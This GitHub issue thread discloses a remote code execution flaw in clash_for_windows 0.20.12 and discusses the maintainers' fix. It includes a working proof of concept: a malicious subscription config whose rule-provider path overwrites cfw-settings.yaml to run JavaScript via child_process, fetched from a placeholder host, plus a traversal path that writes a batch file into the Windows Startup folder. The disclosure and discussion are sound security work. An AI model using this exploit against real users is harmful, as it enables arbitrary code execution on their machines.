Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug]: Remote Code Execution/远程代码执行 #3891

Closed
4 tasks done
LDAx2012 opened this issue Jan 13, 2023 · 40 comments
Closed
4 tasks done

[Bug]: Remote Code Execution/远程代码执行 #3891

LDAx2012 opened this issue Jan 13, 2023 · 40 comments

Comments

@LDAx2012
Copy link

LDAx2012 commented Jan 13, 2023

请认真检查以下清单中的每一项

  • 已经搜索过,没有发现类似issue
  • 已经搜索过文档,没有发现相关内容
  • 已经尝试使用过最新版,问题依旧存在
  • 使用的是官方版本(未替换及修改过安装目录程序文件)

软件版本

0.20.12

操作系统

Windows x64

系统版本

Windows 11

问题描述

Windows 上的 clash_for_windows 在 0.20.12 在订阅一个恶意链接时存在远程命令执行漏洞。因为对订阅文件中 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js代码将会被执行。

A remote command execution vulnerability exists in clash_for_windows before v0.20.12 when subscribing to an attacker's link. cfw-setting.yaml can be overwritten due to unsafe processing of the path of rule-providers in the subscription file, and the js code of parsers in cfw-setting.yaml will be executed.

复现步骤

PoC

  1. The attacker starts a web service to ensure that these two files can be accessed:

config.yaml

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true

rule-providers:
  p:
    type: http
    behavior: domain
    url: "http://this.your.url/cfw-settings.yaml"
    path: ./cfw-settings.yaml
    interval: 86400

cfw-settings.yaml

payload:
  - DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
  - - icon
  - - status
    - traffic
    - text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
  parsers:
    - reg: .*
      code: 
        module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {
          require("child_process").exec("calc.exe");
          return raw;
          }

  1. Victim uses subscription link
  2. restart the clash_for_windows_pkg
  3. Update subscriptions or import new subscriptions
    屏幕截图 2023-01-12 N

日志文件

No response

其他补充

由于是rule-providers的自定义path的问题,还有其他利用方式,比如用目录穿越写入开机启动项
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
不过杀毒软件会弹框

Since it is a problem with the custom path of rule-providers, there are other ways to use it, such as using directory traversal to write into the startup item
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
But the antivirus software will warn.

@tgNotHouse
Copy link

这个是不是clash Premium的问题啊,他们的源码并没有开放

@Anthem-whisper
Copy link

Anthem-whisper commented Jan 13, 2023

我一直觉得parser支持执行js代码本身就是一个及其具有隐患的功能,可见 #3782

@LDAx2012
Copy link
Author

LDAx2012 commented Jan 13, 2023

这个是不是clash Premium的问题啊,他们的源码并没有开放

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

@Fndroid
Copy link
Owner

Fndroid commented Jan 14, 2023

感谢反馈,确实有这个问题,我想想怎么处理

@FeatherStark
Copy link

FeatherStark commented Jan 14, 2023

旧的版本也存在这个漏洞,已测试版本:v 0.19.17

@fakeboboliu
Copy link

fakeboboliu commented Jan 14, 2023

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

作为一个客户端软件,给予这种程度的自由度是合理的,
用户应当有权在任何位置放置他想要导入的配置文件,
用户应当有权信任任何他想要信任的外部资源,同时不被打扰。

对于这样一个用于完全劫持网络,并对远程服务器不设防的工具,
使用者应当足够谨慎并明晰自己在做的事情,
或者抱着一种莫名的不知来源的信任之心面对不知善恶的服务商。

这里设计的问题在于,clash 应当先 parse,确定是合法的配置文件再覆盖文件。

@crandeng
Copy link

这个是不是clash Premium的问题啊,他们的源码并没有开放

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

作为一个客户端软件,给予这种程度的自由度是合理的, 用户应当有权在任何位置放置需要被导入的配置文件, 用户应当有权信任任何他想要信任的外部资源,同时不被打扰。

对于这样一个用于完全劫持网络,并对远程服务器不设防的工具, 使用者应当足够谨慎并明晰自己在做的事情, 或者抱着一种莫名的不知来源的信任之心面对不知善恶的服务商。

这里设计的问题在于,clash 应当先 parse,确定是合法的配置文件再覆盖文件。

个人认为:这个自由度有点高,不能指望每个用户都是专业人士;
用户应当有权......、在自己电脑上做任何事情都没问题!但这不意味着软件可以直接给这么大的权限;至少要在用户之情的情况下才能执行类似功能。

@qwq233
Copy link

qwq233 commented Jan 14, 2023

这个是不是clash Premium的问题啊,他们的源码并没有开放

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

作为一个客户端软件,给予这种程度的自由度是合理的, 用户应当有权在任何位置放置需要被导入的配置文件, 用户应当有权信任任何他想要信任的外部资源,同时不被打扰。

对于这样一个用于完全劫持网络,并对远程服务器不设防的工具, 使用者应当足够谨慎并明晰自己在做的事情, 或者抱着一种莫名的不知来源的信任之心面对不知善恶的服务商。

这里设计的问题在于,clash 应当先 parse,确定是合法的配置文件再覆盖文件。

虽然但是 我们应当假定用户是愚蠢的 因为真的有如此愚蠢的用户可能不检查配置文件便使用
这么做确实是十分危险的 应当限制文件存放的目录为当前目录或其子目录

@Anthem-whisper
Copy link

这个是不是clash Premium的问题啊,他们的源码并没有开放

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

作为一个客户端软件,给予这种程度的自由度是合理的, 用户应当有权在任何位置放置他想要导入的配置文件, 用户应当有权信任任何他想要信任的外部资源,同时不被打扰。

对于这样一个用于完全劫持网络,并对远程服务器不设防的工具, 使用者应当足够谨慎并明晰自己在做的事情, 或者抱着一种莫名的不知来源的信任之心面对不知善恶的服务商。

这里设计的问题在于,clash 应当先 parse,确定是合法的配置文件再覆盖文件。

但是目录穿越其实就能算一个漏洞,可以造成危害并且有利用的可能性。

@fakeboboliu
Copy link

fakeboboliu commented Jan 14, 2023

这个自由度有点高,不能指望每个用户都是专业人士

在使用专业软件的时候,你最好是专业人士,否则多半要出事

更新:不准确,应当的表述是:用户最好和开发者的定位相同,否则肯定要出事。解决问题很简单,要么改变用户,要么让开发者搞清楚自己的定位,当然,CFW 还是很清楚的(

虽然但是 我们应当假定用户是愚蠢的 因为真的有如此愚蠢的用户可能不检查配置文件便使用
这么做确实是十分危险的 应当限制文件存放的目录为当前目录或其子目录

Consider directory structure like:

Root
  |-- config
  |-- provider
    |-- rule
    |-- proxy

但是目录穿越其实就能算一个漏洞,可以造成危害并且有利用的可能性。

目录穿越仅在可以被无授权利用时是一个漏洞,这里的操作全部都是用户自行授权的:用户自己写了这个配置文件。
对于一个软件而言,用户可以选择导入用户目录的文件,也可以选择把配置放在 tmpfs,这是基础功能。

如果说这是目录穿越漏洞的话,那就像 zblogcn/zblogphp#193 一样滑稽。


当然,我认为 CFW 应当对这个问题做出措施,毕竟 CFW 的使用设计可能使人忽视配置文件内容。
上面初始的回复,回应的是关于 clash 的话题。

@Anthem-whisper
Copy link

假如已经可以在无授权利用时造成危害,那么我们就应该去考虑修复这个漏洞,而不是为了一个无关紧要的功能而在安全性上做出妥协让步

@qwq233
Copy link

qwq233 commented Jan 14, 2023

这个自由度有点高,不能指望每个用户都是专业人士

在使用专业软件的时候,你最好是专业人士,否则多半要出事

虽然但是 我们应当假定用户是愚蠢的 因为真的有如此愚蠢的用户可能不检查配置文件便使用
这么做确实是十分危险的 应当限制文件存放的目录为当前目录或其子目录

Consider directory structure like:

Root
  |-- config
  |-- provider
    |-- rule
    |-- proxy

但是目录穿越其实就能算一个漏洞,可以造成危害并且有利用的可能性。

目录穿越仅在可以被无授权利用时是一个漏洞,这里的操作全部都是用户自行授权的:用户自己写了这个配置文件。 对于一个软件而言,用户可以选择导入用户目录的文件,也可以选择把配置放在 tmpfs,这是基础功能。

如果说这是目录穿越漏洞的话,那就像 zblogcn/zblogphp#193 一样滑稽。

当然,CFW 对这个做出措施是合理的,毕竟 CFW 的使用设计可能使人忽视配置文件内容。

我们不应当假设用户足以称之为专业人士。
考虑clash使用的广泛性和易用性,我们足以认定用户均为无法对自身环境安全负责的学生甚至儿童。
就这点来考量,必要的保护性措施应是有的。
或者可以说,专业人士也是需要安全性措施来保护环境的安全。比如SELinux等Mandatory Access Control强制限制clash可以将文件存放的位置。

如果照你在使用专业软件的时候,你最好是专业人士,否则多半要出事的说法,很多额外的安全措施,如two factor和selinux也不需要,也不需要版本控制或者权限隔离了。

@fakeboboliu
Copy link

fakeboboliu commented Jan 14, 2023

假如已经可以在无授权利用时造成危害,那么我们就应该去考虑修复这个漏洞,而不是为了一个无关紧要的功能而在安全性上做出妥协让步

这里的操作全部都是用户自行授权的:用户自己写了这个配置文件,或者用户自己选择了,我tmd今天就是要下这个订阅。
对于一个软件而言,用户可以选择导入用户目录的文件,也可以选择把配置放在 tmpfs,这是基础功能。

如果说这是目录穿越漏洞的话,那就像 zblogcn/zblogphp#193 一样滑稽。

clash 使用的易用性

有这个东西吗?我看 https://github.com/Dreamacro/clash/issues 感觉不太像(逃


Again: 当然,我认为 CFW 应当对这个问题做出措施,毕竟 CFW 的使用设计可能使人忽视配置文件内容。

@qwq233
Copy link

qwq233 commented Jan 14, 2023

假如已经可以在无授权利用时造成危害,那么我们就应该去考虑修复这个漏洞,而不是为了一个无关紧要的功能而在安全性上做出妥协让步

这里的操作全部都是用户自行授权的:用户自己写了这个配置文件,或者用户自己选择了,我tmd今天就是要下这个订阅。 对于一个软件而言,用户可以选择导入用户目录的文件,也可以选择把配置放在 tmpfs,这是基础功能。

如果说这是目录穿越漏洞的话,那就像 zblogcn/zblogphp#193 一样滑稽。

clash 使用的易用性

有这个东西吗?我看 https://github.com/Dreamacro/clash/issues 感觉不太像(逃

Again: 当然,我认为 CFW 应当对这个问题做出措施,毕竟 CFW 的使用设计可能使人忽视配置文件内容。

就成群的第三方工具而言,我认为称之为易用也并非不可(
毕竟cfw也算占有率较高的第三方工具,某种意义上也算是代表了一部分的clash社区(真的有这东西?)

@Anthem-whisper
Copy link

Anthem-whisper commented Jan 14, 2023

假如已经可以在无授权利用时造成危害,那么我们就应该去考虑修复这个漏洞,而不是为了一个无关紧要的功能而在安全性上做出妥协让步

这里的操作全部都是用户自行授权的:用户自己写了这个配置文件,或者用户自己选择了,我tmd今天就是要下这个订阅。 对于一个软件而言,用户可以选择导入用户目录的文件,也可以选择把配置放在 tmpfs,这是基础功能。

如果说这是目录穿越漏洞的话,那就像 zblogcn/zblogphp#193 一样滑稽。

用户信任某个配置文件,不代表这个配置文件就安全。配置文件有可能是外部引入,所以我们本来就不该信任它。

这个目录穿越的可能造成的结果就是,用户信任一个订阅链接,点击下载,然后电脑就会执行代码。这和 #2710 性质是一样的。

当然,争论也没有意义,具体修复与否取决于维护者怎么想

@qwq233
Copy link

qwq233 commented Jan 14, 2023

假如已经可以在无授权利用时造成危害,那么我们就应该去考虑修复这个漏洞,而不是为了一个无关紧要的功能而在安全性上做出妥协让步

这里的操作全部都是用户自行授权的:用户自己写了这个配置文件,或者用户自己选择了,我tmd今天就是要下这个订阅。 对于一个软件而言,用户可以选择导入用户目录的文件,也可以选择把配置放在 tmpfs,这是基础功能。
如果说这是目录穿越漏洞的话,那就像 zblogcn/zblogphp#193 一样滑稽。

clash 使用的易用性

有这个东西吗?我看 https://github.com/Dreamacro/clash/issues 感觉不太像(逃

当然,我认为 CFW 应当对这个问题做出措施,毕竟 CFW 的使用设计可能使人忽视配置文件内容。

用户信任某个配置文件,不代表这个配置文件就安全。

这个目录穿越的可能造成的结果就是,用户信任一个订阅链接,点击下载,然后电脑就会执行代码。这和 #2710 性质是一样的。

当然,争论也没有意义,具体修复与否取决于维护者怎么想

我认为这就是闭源的坏处了,一言堂

@fakeboboliu
Copy link

@qwq233@Anthem-whisper 在引用回复时适当裁剪你的引用内容,或者改为使用 at。
大段的无端引用会给这个 issue 增加极大的阅读难度,同时污染关注者的邮箱推送。

@fakeboboliu
Copy link

@qwq233

image

大段的无端引用会给这个 issue 增加极大的阅读难度

@fakeboboliu
Copy link

当然,如果 clash 要修的话,我希望是加个 arg 启动或退出小白模式,内容可以有:

  • provider 不允许跨目录,不允许覆盖
  • api 不允许无密码,不允许弱密码
  • rule provider 的 url 不允许混搭
  • 所有用 tls 的代理不允许关闭 ca 检查

@Indekkusu545
Copy link

从clash Premium的角度考虑,这不是他的问题。用户有权在任何位置放置他的配置文件,clash Premium的前端也并不一定是cfw,配置文件名也并不一定是cfw-settings.yaml,clash Premium无法做出有效的限制。另外单纯使用clash Premium的用户,理应知晓config.yaml的内容,clash Premium根据config.yaml所做的都是用户授权的。

@KB5201314
Copy link

@Fndroid A off-topic note, It is recommended to setup some reporting channel for security issues. For example, you can put a email address in REDME.md, or enable Github Security policy feature for this repo. It is inappropriate to allow vulnerabilities to be published before they have been fixed.

Thank you for your efforts on this project. :)

@FResh-afk
Copy link

这东西没多大办法修复,我可以通过买别的厂家vpn订阅各种信息得到后修改加入恶意代码之后,低价卖给那些需要购买的人。

@Indekkusu545
Copy link

clash for windows可以做的更好的一点是对于可以自定义path的配置,应该屏蔽从订阅源获得的,而改用用户在cfw的界面上显式指定的,因为这明显是一个平台相关的配置,订阅源不应该下发与平台相关的配置。

@elisezhu123
Copy link

感谢反馈,确实有这个问题,我想想怎么处理
macos的clash 和 class xpro 也有这个问题吗?

@QAdmire
Copy link

QAdmire commented Jan 15, 2023

目录不止能穿越。还能创建.....

@saber-404
Copy link

v20.5复现成功

@AkiraVoid
Copy link

这个 issue 不该在修复前被提出,作者应当先联系所有者修改,等到修改完成后再提出 issue。这种安全漏洞最好在修复前保持对大多数人未知的状态。

@Sunovn
Copy link

Sunovn commented Jan 15, 2023

应该默认不允许执行,要执行的去设置里打开选项

@Indekkusu545
Copy link

应该默认不允许执行,要执行的去设置里打开选项

这不是解决方案。此漏洞的问题不在于执行代码,而在于创建不明来源文件。主机上任何文件都可能被替换为恶意文件。

@ipuppet
Copy link

ipuppet commented Jan 15, 2023

我觉得,
对路径预处理,禁止 provider 向上穿越
如果要自定义,可以让用户手动选择存放路径,且这种配置应该 仅在本地 进行

@rootmelo92118
Copy link

rootmelo92118 commented Jan 15, 2023

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

作为一个客户端软件,给予这种程度的自由度是合理的, 用户应当有权在任何位置放置他想要导入的配置文件, 用户应当有权信任任何他想要信任的外部资源,同时不被打扰。

对于这样一个用于完全劫持网络,并对远程服务器不设防的工具, 使用者应当足够谨慎并明晰自己在做的事情, 或者抱着一种莫名的不知来源的信任之心面对不知善恶的服务商。

这里设计的问题在于,clash 应当先 parse,确定是合法的配置文件再覆盖文件。

我認為不受打擾這點有待商議,畢竟再專業的人也會有犯錯的時候。
在用戶嘗試執行有風險或不尋常的命令時,應給予相關警告。
在用戶被警告後仍執意執行者,我們才能認定用戶做出充分理性的決定,並對此產生的後果負完全責任。

@1265578519
Copy link

这个 issue 不该在修复前被提出,作者应当先联系所有者修改,等到修改完成后再提出 issue。这种安全漏洞最好在修复前保持对大多数人未知的状态。

issue的作用就是和作者汇报

@AkiraVoid

This comment was marked as off-topic.

@LDAx2012
Copy link
Author

这个 issue 不该在修复前被提出,作者应当先联系所有者修改,等到修改完成后再提出 issue。这种安全漏洞最好在修复前保持对大多数人未知的状态。

是的,这是我的疏忽,没有考虑到它的影响,首页没找到作者email于是直接发了issue,确实考虑不周

@LDAx2012
Copy link
Author

LDAx2012 commented Jan 15, 2023

应该默认不允许执行,要执行的去设置里打开选项

这不是解决方案。此漏洞的问题不在于执行代码,而在于创建不明来源文件。主机上任何文件都可能被替换为恶意文件。

补充下测试获得的信息,在写入文件前会进行yaml解析并检测payload字段,之后才会写入。也就是写入文件内容必须是UTF-8编码的yaml并包含payload字段。PE结构文件除非拧成花不然应该是不可以的。
以及在正常情况下写入无法超过User权限,但在服务模式开启的情况下是超过User权限可以c盘任意写的

@ququ0755
Copy link

clash Premiun肯定分一部分锅,我查看了其他clash的客户端,只要是支持rule-providers path的几乎都存在类似的目录穿越文件上传问题,但是全是它的问题也说不过去,如果直接使用clash的话用户应该是清楚自己的配置文件内容的(包括path的路径是否会覆盖掉其他文件或者穿越出目录等情况),但在客户端订阅链接式下载的配置文件用户可能对配置文件内容不是那么清楚,导致可能出现这种问题。

作为一个客户端软件,给予这种程度的自由度是合理的, 用户应当有权在任何位置放置他想要导入的配置文件, 用户应当有权信任任何他想要信任的外部资源,同时不被打扰。
对于这样一个用于完全劫持网络,并对远程服务器不设防的工具, 使用者应当足够谨慎并明晰自己在做的事情, 或者抱着一种莫名的不知来源的信任之心面对不知善恶的服务商。
这里设计的问题在于,clash 应当先 parse,确定是合法的配置文件再覆盖文件。

我認為不受打擾這點有待商議,畢竟再專業的人也會有犯錯的時候。 在用戶嘗試執行有風險或不尋常的命令時,應給予相關警告。 在用戶被警告後仍執意執行者,我們才能認定用戶做出充分理性的決定,並對此產生的後果負完全責任。

同意,应该在执行前向用户获得信任

@Fndroid
Copy link
Owner

Fndroid commented Jan 17, 2023

下个版本将调整为忽略http类型的provider设置的path值,根据url生成一个固定位置

@MALossov
Copy link

Linux 无法复现,提供了calc.exe(重定向到gnome的计算器)之后仍然无法复现。
提示:content deadline exceeded

@AkiraVoid
Copy link

@muink 请另开issue

@ttimochan
Copy link

ttimochan commented Jan 23, 2023

Linux 无法复现,提供了calc.exe(重定向到gnome的计算器)之后仍然无法复现。 提示:content deadline exceeded

Linux 无法复现是因为主流平台都是 Windows,electron 跨平台实际还是有各个系统的兼容性问题;即,你可以认为在涉及到系统部分的操作行为在各个系统是不一致的

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests